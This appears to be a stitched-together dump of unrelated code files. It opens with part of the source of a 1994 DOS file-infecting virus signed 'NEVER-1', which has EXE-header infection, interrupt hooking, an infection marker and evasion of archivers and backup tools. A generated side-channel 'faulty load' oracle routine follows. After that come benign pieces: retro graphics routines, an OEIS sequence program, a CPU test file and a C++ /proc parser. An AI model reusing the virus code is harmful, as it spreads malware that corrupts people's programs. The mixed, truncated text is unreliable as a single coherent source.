mov cx,200h div cx ; divide into pages or dx,dx ; Any remainder? jz no_round inc ax no_round: sub ax,ds:[si.eh_size] ; size same as header says? jne inf_bad_file sub dx,ds:[si.eh_modulo] jne inf_bad_file mov ax,file_size ; virus size add ax,bp adc dx,di ; + program size div cx ; / 512 or dx,dx ; round up? jz no_round1 inc ax no_round1: mov ds:[si.eh_size],ax mov ds:[si.eh_modulo],dx ; set new size mov bx,0-(file_size+1000) xor cx,cx get_exe_ip: cmp bp,bx ; make sure virus does not ; cross segments jb got_exe_ip sub bp,10h ; down 10h bytes loop get_exe_ip ; up 1 paragraph got_exe_ip: cmp di,0fh ja inf_bad_file xchg cx,ax mov cl,4 ror di,cl ; get segment displacement or ax,ax jz no_para_add sub di,ax ; Add segments from LOOP jnc inf_bad_file no_para_add: sub di,ds:[si.eh_size_header] ; CS-header size in ; paragraphs push bp ; save offset of v_start add bp,decrypt-v_start mov ds:[si.eh_ip],bp ; set IP mov ds:[si.eh_cs],di ; set CS add bp,512 ; 512 bytes of stack mov ds:[si.eh_sp],bp ; set SP mov ds:[si.eh_ss],di ; set SS mov bp,8000h ; Tell engine "Exe file" sar bx,cl ; 0 - ((file_size+1000h)/16) mov ax,ds:[si.eh_min_mem] sub ax,bx ; add file_size+1000h/16 jnb append_vir mov ds:[si.eh_min_mem],ax append_vir: pop ax call engine ; encrypt/write/decrypt push bp popf jc append_vir_err call get_dcb mov word ptr ds:[di.dcb_pos],cx mov word ptr ds:[di.dcb_pos+2],cx ; lseek to start mov ah,40h mov dx,offset work_header push cs pop ds call header_op ; write new header to file append_vir_err: retn ;=====( Get DCB address for file )===========================================; get_dcb: push ax bx mov ax,1220h mov bx,cs:handle ; get file handle int 2fh ; get DCB number address jc get_dcb_fail mov ax,1216h mov bl,es:[di] ; get DCB number cmp bl,-1 ; Handle Openned? cmc je get_dcb_fail int 2fh ; get DCB address jc get_dcb_fail push es pop ds test byte ptr ds:[di.dcb_dev_attr],80h ; device or file? cmc jne get_dcb_fail test byte ptr ds:[di.dcb_date+1],80h ; infected? get_dcb_fail: pop bx ax retn ;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============; int_2_bios: push ax bx dx ds mov al,13h ; int 13h mov di,offset int_13 int_2_bios_lp: push cs pop ds call get_int ; get int address mov dx,es xchg bx,ds:[di] ; swap offsets cld scasw xchg dx,bx xchg bx,ds:[di] ; swap segments scasw mov ds,bx ; DS:DX=new address call set_int ; set int to DS:DX cmp al,15h mov al,15h jnb int_2_bios_40 ; CY AL=13h add di,4 jmp int_2_bios_lp int_2_bios_40: mov al,40h je int_2_bios_lp ; ZR AL=15h else AL=40h, exit pop ds dx bx ax retn ;=====( Read/write header to file )==========================================; read_header: mov ah,3fh cmp ax,0 org $ - 2 write_header: mov ah,40h mov dx,offset header header_op: mov cx,18h call call_21_file ; read/write header jc read_write_err sub ax,cx read_write_err: retn ;=====( Unhook int 24h )=====================================================; undo_24: mov al,24h lds dx,cs:int_24 call set_int ; unhook int 24h in al,21h and al,not 2 ; enable keyboard out 21h,al retn ;=====( Save returns after int 21h call )====================================; save_returns: mov ss:[bp.reg_ax],ax pushf pop ss:[bp.reg_f] retn ;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================; is_specialfile: push ax cx si di es mov al,0 check_special = byte ptr $ - 1 or al,al ; Check for special? jnz it_is_special call get_psp ; get MCB of current PSP mov ax,es:[di] ; get 1st 2 letters of name cmp ax,'RA' ; ARj? je it_is_special cmp ax,'HL' ; LHa? je it_is_special cmp ax,'KP' ; PKzip? je it_is_special mov cx,2 mov si,offset backup is_it_mod_bak: push cx di mov cl,8 lods byte ptr cs:[si] ; get 'B' or 'M' xor al,66h + 6h ; decrypt repne scasb jne is_it_mod cmp cl,3 jb is_it_mod mov cl,4 is_ode_ack: lods byte ptr cs:[si] xor al,66h + 6h jz is_it_mod ; 0 (done)? scasb loope is_ode_ack is_it_mod: mov si,offset modem pop di cx loopne is_it_mod_bak it_is_special: pop es di si cx ax retn backup: db 'B' xor (66h + 6h) db 'A' xor (66h + 6h) db 'C' xor (66h + 6h) db 'K' xor (66h + 6h) db 0 xor (66h + 6h) modem: db 'M' xor (66h + 6h) db 'O' xor (66h + 6h) db 'D' xor (66h + 6h) db 'E' xor (66h + 6h) db 'M' xor (66h + 6h) ;=====( get current PSP segment )============================================; get_psp: push ax bx mov ah,62h call call_21 ; get PSP segment dec bx mov es,bx ; MCB of current program mov di,8h ; offset of file name cld pop bx ax retn ;=====( Get DTA address )====================================================; get_dta: mov ah,2fh call call_21 ; DTA address into ES:BX push es pop ds retn call_dos_13: call swap_13 pushf call cs:dos_13 call swap_13 retn call_disk: test dl,80h ; ZF -> Floppy disk (int 40h) je call_40 call_13: pushf call cs:int_13 retn call_21_file: mov bx,0 handle = word ptr $ - 2 call_21: pushf push cs call go_2_21 retn call_40: pushf call cs:int_40 retn include eng.asm db "Time has come to pay (c)1994 NEVER-1",0 even decrypt: mov word ptr ds:[100h],1f0eh ; PUSH CS/POP DS mov byte ptr ds:[102h],0e8h ; CALL jmp file_start org decrypt + 150 header dw 18h / 2 dup(20cdh) file_end: work_header dw 18h / 2 dup(?) write_buff: db encode_end-encode dup(?) int_21_ss dw ? int_21_sp dw ? dw 256 / 2 dup(?) temp_stack: jump_code_13 db 5 dup(?) jump_code_21 db 5 dup(?) int_1 dd ? int_24 dd ? int_13 dd ? dos_13 dd ? int_15 dd ? int_40 dd ? int_21 dd ? new_24: db 3 dup(?) push_pop_ret dw ? pointer dw ? disp dw ? encode_ptr dw ? encode_enc_ptr dw ? key_reg db ? count_reg db ? ptr_reg db ? ptr_reg1 db ? modify_op db ? origin db ? inst_count db ? disk_buff db 512 dup(?) v_end: ;=====( Very useful structures )=============================================; ;=====( Memory Control Block structure )=====================================; mcb struc mcb_sig db ? ; 'Z' or 'M' mcb_owner dw ? ; attribute of owner mcb_size dw ? ; size of mcb block mcb_name db 8 dup(?) ; file name of owner mcb ends ;=====( For functions 11h and 12h )==========================================; Directory STRUC DS_Drive db ? DS_Name db 8 dup(0) DS_Ext db 3 dup(0) DS_Attr db ? DS_Reserved db 10 dup(0) DS_Time dw ? DS_Date dw ? DS_Start_Clust dw ? DS_Size dd ? Directory ENDS ;=====( for functions 4eh and 4fh )==========================================; DTA STRUC DTA_Reserved db 21 dup(0) DTA_Attr db ? DTA_Time dw ? DTA_Date dw ? DTA_Size dd ? DTA_Name db 13 dup(0) DTA ENDS Exe_Header STRUC EH_Signature dw ? ; Set to 'MZ' or 'ZM' for .exe files EH_Modulo dw ? ; remainder of file size/512 EH_Size dw ? ; file size/512 EH_Reloc dw ? ; Number of relocation items EH_Size_Header dw ? ; Size of header in paragraphs EH_Min_Mem dw ? ; Minimum paragraphs needed by file EH_Max_Mem dw ? ; Maximum paragraphs needed by file EH_SS dw ? ; Stack segment displacement EH_SP dw ? ; Stack Pointer EH_Checksum dw ? ; Checksum, not used EH_IP dw ? ; Instruction Pointer of Exe file EH_CS dw ? ; Code segment displacement of .exe eh_1st_reloc dw ? ; first relocation item eh_ovl dw ? ; overlay number Exe_Header ENDS Boot_Sector STRUC bs_Jump db 3 dup(?) bs_Oem_Name db 8 dup(?) bs_Bytes_Per_Sector dw ? bs_Sectors_Per_Cluster db ? bs_Reserved_Sectors dw ? bs_FATs db ? ; Number of FATs bs_Root_Dir_Entries dw ? ; Max number of root dir entries bs_Sectors dw ? ; number of sectors; small bs_Media db ? ; Media descriptor byte bs_Sectors_Per_FAT dw ? bs_Sectors_Per_Track dw ? bs_Heads dw ? ; number of heads bs_Hidden_Sectors dd ? bs_Huge_Sectors dd ? ; number of sectors; large bs_Drive_Number db ? bs_Reserved db ? bs_Boot_Signature db ? bs_Volume_ID dd ? bs_Volume_Label db 11 dup(?) bs_File_System_Type db 8 dup(?) Boot_Sector ENDS Partition_Table STRUC pt_Code db 1beh dup(?) ; partition table code pt_Status db ? ; 0=non-bootable 80h=bootable pt_Start_Head db ? pt_Start_Sector_Track dw ? pt_Type db ? ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT pt_End_Head db ? pt_End_Sector_Track dw ? pt_Starting_Abs_Sector dd ? pt_Number_Sectors dd ? Partition_Table ENDS int_1_stack STRUC st_ip dw ? ; offset of next instruction after ; interrupt st_cs dw ? ; segment of next instruction st_flags dw ? ; flags when interrupt was called int_1_stack ENDS ;----------------------------------------------------------------------------; ; Dcb description for DOS 3+ ; ; ; ; Offset Size Description ; ; 00h WORD number of file handles referring to this file ; ; 02h WORD file open mode (see AH=3Dh) ; ; bit 15 set if this file opened via FCB ; ; 04h BYTE file attribute ; ; 05h WORD device info word (see AX=4400h) ; ; 07h DWORD pointer to device driver header if character device ; ; else pointer to DOS Drive Parameter Block (see AH=32h) ; ; 0Bh WORD starting cluster of file ; ; 0Dh WORD file time in packed format (see AX=5700h) ; ; 0Fh WORD file date in packed format (see AX=5700h) ; ; 11h DWORD file size ; ; 15h DWORD current offset in file ; ; 19h WORD relative cluster within file of last cluster accessed ; ; 1Bh WORD absolute cluster number of last cluster accessed ; ; 0000h if file never read or written??? ; ; 1Dh WORD number of sector containing directory entry ; ; 1Fh BYTE number of dir entry within sector (byte offset/32) ; ; 20h 11 BYTEs filename in FCB format (no path/period, blank-padded) ; ; 2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file ; ; 2Fh WORD (SHARE.EXE) network machine number which opened file ; ; 31h WORD PSP segment of file's owner (see AH=26h) ; ; 33h WORD offset within SHARE.EXE code segment of ; ; sharing record (see below) 0000h = none ; ;----------------------------------------------------------------------------; dcb struc dcb_users dw ? dcb_mode dw ? dcb_attr db ? dcb_dev_attr dw ? dcb_drv_addr dd ? dcb_1st_clst dw ? dcb_time dw ? dcb_date dw ? dcb_size dd ? dcb_pos dd ? dcb_last_clst dw ? dcb_current_clst dw ? dcb_dir_sec dw ? dcb_dir_entry db ? dcb_name db 8 dup(?) dcb_ext db 3 dup(?) dcb_useless1 dw ? dcb_useless2 dw ? dcb_useless3 dw ? dcb_psp_seg dw ? dcb_useless4 dw ? dcb ends bpb STRUC bpb_Bytes_Per_Sec dw ? bpb_Sec_Per_Clust db ? bpb_Reserved_Sectors dw ? bpb_FATs db ? ; Number of FATs bpb_Root_Dir_Entries dw ? ; Max number of root dir entries bpb_Sectors dw ? ; number of sectors; small bpb_Media db ? ; Media descriptor byte bpb_Sectors_Per_FAT dw ? bpb_Sectors_Per_Track dw ? bpb_Heads dw ? ; number of heads bpb_Hidden_Sectors dd ? bpb_Huge_Sectors dd ? ; number of sectors; large bpb_Drive_Number db ? bpb_Reserved db ? bpb_Boot_Signature db ? bpb_Volume_ID dd ? bpb_Volume_Label db 11 dup(?) bpb_File_System_Type db 8 dup(?) bpb ENDS register struc reg_es dw ? reg_ds dw ? reg_di dw ? reg_si dw ? reg_bp dw ? reg_dx dw ? reg_cx dw ? reg_bx dw ? reg_ax dw ? reg_f dw ? register ends sys_file struc sys_next dd ? sys_strat dw ? sys_int dw ? sys_file ends end
; int mtx_init(mtx_t *mtx, int type) SECTION code_threads_mutex PUBLIC _mtx_init EXTERN asm_mtx_init _mtx_init: pop af pop hl pop bc push bc push hl push af jp asm_mtx_init
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r14 push %rcx push %rdi push %rsi lea addresses_UC_ht+0xb88c, %rsi lea addresses_WC_ht+0x17348, %rdi clflush (%rdi) nop nop nop xor %r10, %r10 mov $27, %rcx rep movsw nop dec %r10 lea addresses_A_ht+0x8a4c, %r14 and %rsi, %rsi mov $0x6162636465666768, %r13 movq %r13, (%r14) nop nop nop cmp %r14, %r14 lea addresses_UC_ht+0xfecc, %r13 nop xor %rsi, %rsi mov $0x6162636465666768, %r10 movq %r10, %xmm4 movups %xmm4, (%r13) nop nop nop nop and %rsi, %rsi lea addresses_UC_ht+0x1ed0c, %rdi nop nop nop nop nop dec %r11 and $0xffffffffffffffc0, %rdi movntdqa (%rdi), %xmm3 vpextrq $1, %xmm3, %rsi nop and %r14, %r14 lea addresses_A_ht+0x10a7e, %rsi lea addresses_A_ht+0xb968, %rdi xor $37272, %r14 mov $105, %rcx rep movsw nop nop nop and %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %r14 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r8 push %rax push %rbx push %rdi // Store lea addresses_A+0x1198c, %rbx nop nop cmp $5342, %r11 movl $0x51525354, (%rbx) nop nop nop nop cmp %r13, %r13 // Load mov $0xb0c, %rbx nop nop nop dec %r8 movups (%rbx), %xmm3 vpextrq $0, %xmm3, %rax nop nop nop cmp %r15, %r15 // Store lea addresses_WC+0x1408c, %r13 nop nop nop nop nop sub %r11, %r11 movl $0x51525354, (%r13) nop dec %r8 // Store lea addresses_UC+0x5f8c, %rbx clflush (%rbx) nop nop nop dec %rax movl $0x51525354, (%rbx) nop nop nop nop nop inc %r11 // Load lea addresses_D+0xeb8c, %r11 nop nop nop nop nop inc %rax mov (%r11), %r13w nop nop nop nop cmp $19076, %r13 // Faulty Load lea addresses_D+0x1788c, %rbx nop nop nop nop nop xor %r13, %r13 mov (%rbx), %rdi lea oracles, %r11 and $0xff, %rdi shlq $12, %rdi mov (%r11,%rdi,1), %rdi pop %rdi pop %rbx pop %rax pop %r8 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
; ; Sprite Rendering Routine ; original code by Patrick Davidson (TI 85) ; modified by Stefano Bodrato - Jan 2009 ; ; MSX version ; ; ; $Id: putsprite.asm,v 1.9 2016-07-02 09:01:36 dom Exp $ ; SECTION smc_clib PUBLIC putsprite PUBLIC _putsprite EXTERN pixeladdress EXTERN pixelbyte EXTERN swapgfxbk EXTERN swapgfxbk1 INCLUDE "graphics/grafix.inc" INCLUDE "msx/vdp.inc" ; __gfx_coords: d,e (vert-horz) ; sprite: (ix) .putsprite ._putsprite push ix ;save callers ld hl,4 add hl,sp ld e,(hl) inc hl ld d,(hl) ; sprite address push de pop ix inc hl ld e,(hl) inc hl inc hl ld d,(hl) ; x and y __gfx_coords inc hl inc hl ld a,(hl) ; and/or/xor mode ld (ortype+1),a ; Self modifying code ld (ortype2+1),a ; Self modifying code inc hl ld a,(hl) ld (ortype),a ; Self modifying code ld (ortype2),a ; Self modifying code ld h,d ld l,e ld (actcoord),hl ; save current coordinates call swapgfxbk call pixeladdress ld hl,offsets_table ld c,a ld b,0 add hl,bc ld a,(hl) ld (wsmc1+1),a ld (wsmc2+1),a ld (_smc1+1),a ld h,d ld l,e ld a,(ix+0) cp 9 jr nc,putspritew ld d,(ix+0) ld b,(ix+1) ._oloop push bc ;Save # of rows ld b,d ;Load width ld c,(ix+2) ;Load one line of image inc ix ._smc1 ld a,1 ;Load pixel mask ._iloop push hl ;* ld hl,pixelbyte ;* sla c ;Test leftmost pixel jr nc,_noplot ;See if a plot is needed ld e,a .ortype nop ; changed into nop / cpl nop ; changed into and/or/xor (hl) ld (hl),a ld a,e ._noplot rrca pop hl ;* call c,_edge ;If edge of byte reached, go to next byte djnz _iloop ; --------- call _row ; --------- pop bc ;Restore data djnz _oloop .putsprite_exit pop ix ;restore callers jp swapgfxbk1 .putspritew ld d,(ix+0) ld b,(ix+1) .woloop push bc ;Save # of rows ld b,d ;Load width ld c,(ix+2) ;Load one line of image inc ix .wsmc1 ld a,1 ;Load pixel mask .wiloop push hl ;* ld hl,pixelbyte ;* sla c ;Test leftmost pixel jr nc,wnoplot ;See if a plot is needed ld e,a .ortype2 nop ; changed into nop / cpl nop ; changed into and/or/xor (hl) ld (hl),a ld a,e .wnoplot rrca pop hl ;* call c,_edge ;If edge of byte reached, go to next byte .wsmc2 cp 1 jr z,wover_1 djnz wiloop ; --------- call _row ; --------- pop bc ;Restore data djnz woloop jr putsprite_exit .wover_1 ld c,(ix+2) inc ix djnz wiloop dec ix ; --------- call _row ; --------- pop bc djnz woloop jr putsprite_exit ; Edge of byte reached, save its content, ; increment video ptr, and get new byte. ._edge push af ;************** ld a,l ; LSB of video memory ptr IF FORmsx di ENDIF out (VDP_CMD),a ld a,h ; MSB of video mem ptr and @00111111 ; masked with "write command" bits or @01000000 IF FORmsx ei ENDIF out (VDP_CMD), a ld a,(pixelbyte) out (VDP_DATA), a ;************** ld a,8 add l ld l,a ;jr nc,nozh ;inc h ;.nozh ;inc hl ;Go to next byte ;************** ld a,l ; LSB of video memory ptr IF FORmsx di ENDIF out (VDP_CMD), a ld a,h ; MSB of video mem ptr and @00111111 ; masked with "read command" bits IF FORmsx ei ENDIF out (VDP_CMD), a in a, (VDP_DATAIN) ld (pixelbyte),a ;************** pop af ret ._row push af ;************** ld a,l ; LSB of video memory ptr IF FORmsx di ENDIF out (VDP_CMD),a ld a,h ; MSB of video mem ptr and @00111111 ; masked with "write command" bits or @01000000 IF FORmsx ei ENDIF out (VDP_CMD), a ld a,(pixelbyte) out (VDP_DATA), a ;************** push de ld hl,(actcoord) inc l ld (actcoord),hl call pixeladdress ld h,d ld l,e pop de pop af ret SECTION rodata_clib .offsets_table defb 1,2,4,8,16,32,64,128 SECTION bss_clib .actcoord defw 0
; A185868: (Odd,odd)-polka dot array in the natural number array A000027, by antidiagonals. ; 1,4,6,11,13,15,22,24,26,28,37,39,41,43,45,56,58,60,62,64,66,79,81,83,85,87,89,91,106,108,110,112,114,116,118,120,137,139,141,143,145,147,149,151,153,172,174,176,178,180,182,184,186,188,190,211,213,215,217,219,221,223,225,227,229,231,254,256,258,260,262,264,266,268,270,272,274,276,301,303,305,307,309,311,313,315,317,319,321,323,325,352,354,356,358,360,362,364,366,368 mul $0,2 mov $1,$0 add $0,1 mov $2,1 lpb $1 add $0,$2 add $2,2 sub $1,$2 trn $1,1 lpe
BITS 64 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ; ADD16rm ;TEST_BEGIN_RECORDING lea rax, [rsp-0x10] mov DWORD [rax], 0x1000 mov bx, 0x2 add bx, [rax] mov eax, [rax] ;TEST_END_RECORDING
Name: zel_enmy2.asm Type: file Size: 366508 Last-Modified: '2016-05-13T04:22:15Z' SHA-1: 4FF220226013A57D654B3C3E8411A56C6DADE19D Description: null
SECTION code_clib SECTION code_l PUBLIC l_small_ultob EXTERN l_small_utob l_small_ultob: ; write unsigned binary long to ascii buffer ; ; enter : dehl = unsigned long ; bc = char *buffer ; carry set to write leading zeroes ; ; exit : de = char *buffer (one byte past last char written) ; carry set if in write loop ; ; uses : af, b, de, hl push hl ex de,hl ld e,c ld d,b call l_small_utob jr c, was_writing dec de was_writing: pop hl jp l_small_utob
#include <dirent.h> #include <sstream> #include <string> #include <vector> #include "linux_parser.h" #include "parser_helper.h" using std::stof; using std::string; using std::to_string; using std::vector; // DONE: An example of how to read data from the filesystem string LinuxParser::OperatingSystem() { string line; string key; string value; std::ifstream filestream(LinuxParser::kOSPath); if (filestream.is_open()) { while (std::getline(filestream, line)) { std::replace(line.begin(), line.end(), ' ', '_'); std::replace(line.begin(), line.end(), '=', ' '); std::replace(line.begin(), line.end(), '"', ' '); std::istringstream linestream(line); while (linestream >> key >> value) { if (key == "PRETTY_NAME") { std::replace(value.begin(), value.end(), '_', ' '); return value; } } } } return value; } // DONE: An example of how to read data from the filesystem string LinuxParser::Kernel() { string os, version, kernel; string line; std::ifstream stream(LinuxParser::kProcDirectory + LinuxParser::kVersionFilename); if (stream.is_open()) { std::getline(stream, line); std::istringstream linestream(line); linestream >> os >> version >> kernel; } return kernel; } // BONUS: Update this to use std::filesystem vector<int> LinuxParser::Pids() { vector<int> pids; DIR* directory = opendir(LinuxParser::kProcDirectory.c_str()); struct dirent* file; while ((file = readdir(directory)) != nullptr) { // Is this a directory? if (file->d_type == DT_DIR) { // Is every character of the name a digit? string filename(file->d_name); if (std::all_of(filename.begin(), filename.end(), isdigit)) { int pid = stoi(filename); pids.push_back(pid); } } } closedir(directory); return pids; } float LinuxParser::MemoryUtilization() { float memTotal = ParserHelper::GetValueByKey<int>( LinuxParser::filterMemTotalString, LinuxParser::kMeminfoFilename); float memFree = ParserHelper::GetValueByKey<int>( LinuxParser::filterMemFreeString, LinuxParser::kMeminfoFilename); float memory = (memTotal - memFree) / memTotal; return memory; } long LinuxParser::UpTime() { string line; long upTime = ParserHelper::GetValue<long>(LinuxParser::kUptimeFilename); return upTime; } int LinuxParser::TotalProcesses() { return ParserHelper::GetValueByKey<int>(LinuxParser::filterProcesses, LinuxParser::kStatFilename); } int LinuxParser::RunningProcesses() { return ParserHelper::GetValueByKey<int>(LinuxParser::filterRunningProcesses, LinuxParser::kStatFilename); } string LinuxParser::UserByUID(int UID) { string line, user, x; int fileUid; std::ifstream filestream(LinuxParser::kPasswordPath); if (filestream.is_open()) { while (std::getline(filestream, line)) { std::replace(line.begin(), line.end(), ':', ' '); std::istringstream linestream(line); while (linestream >> user >> x >> fileUid) { if (fileUid == UID) { return user; } } } } return user; }
ld a, 31 ld (basescradr + #05d2), a ld (basescradr + #08ca), a ld (basescradr + #09ca), a ld (basescradr + #0d0a), a ld (basescradr + #0faa), a ld a, 64 ld (basescradr + #05d3), a ld (basescradr + #0935), a ld (basescradr + #09b6), a ld (basescradr + #09d6), a ld (basescradr + #0d15), a ld (basescradr + #0d96), a ld (basescradr + #0db6), a ld a, 1 ld hl, basescradr + #0c69 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #00f0), a ld (basescradr + #06d1), a ld (basescradr + #0889), a ld (basescradr + #0aea), a ld (basescradr + #0bea), a ld (basescradr + #0c29), a ld (basescradr + #0d29), a ld (basescradr + #170b), a ld a, 254 ld hl, basescradr + #00f2 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0852 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0d32 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #06d2), a ld (basescradr + #08f4), a ld (basescradr + #0bb3), a ld (basescradr + #0cb3), a ld (basescradr + #0ef3), a ld (basescradr + #0fd4), a ld (basescradr + #1012), a ld a, 63 ld hl, basescradr + #0baa ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #01f0), a ld (basescradr + #03ef), a ld (basescradr + #07d1), a ld (basescradr + #07ed), a ld (basescradr + #090c), a ld (basescradr + #0b0b), a ld (basescradr + #0e0a), a ld (basescradr + #122c), a ld a, 255 ld hl, basescradr + #00f1 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #084a ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #086a ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #088a ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #092a ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #09f4 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0beb ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #150e ld (hl), a inc h ld (hl), a inc h ld (hl), a ld d,a ld e,a ld (basescradr + #102c), de ld (basescradr + #170c), de ld (basescradr + #02f0), a ld (basescradr + #03f0), a ld (basescradr + #04ef), a ld (basescradr + #07d2), a ld (basescradr + #112d), a ld (basescradr + #150f), a ld (basescradr + #160d), a ld a, 68 ld d,a ld e,a ld (basescradr + #0994), de ld (basescradr + #09b4), de ld (basescradr + #0d94), de ld (basescradr + #0db4), de ld (basescradr + #01f3), a ld (basescradr + 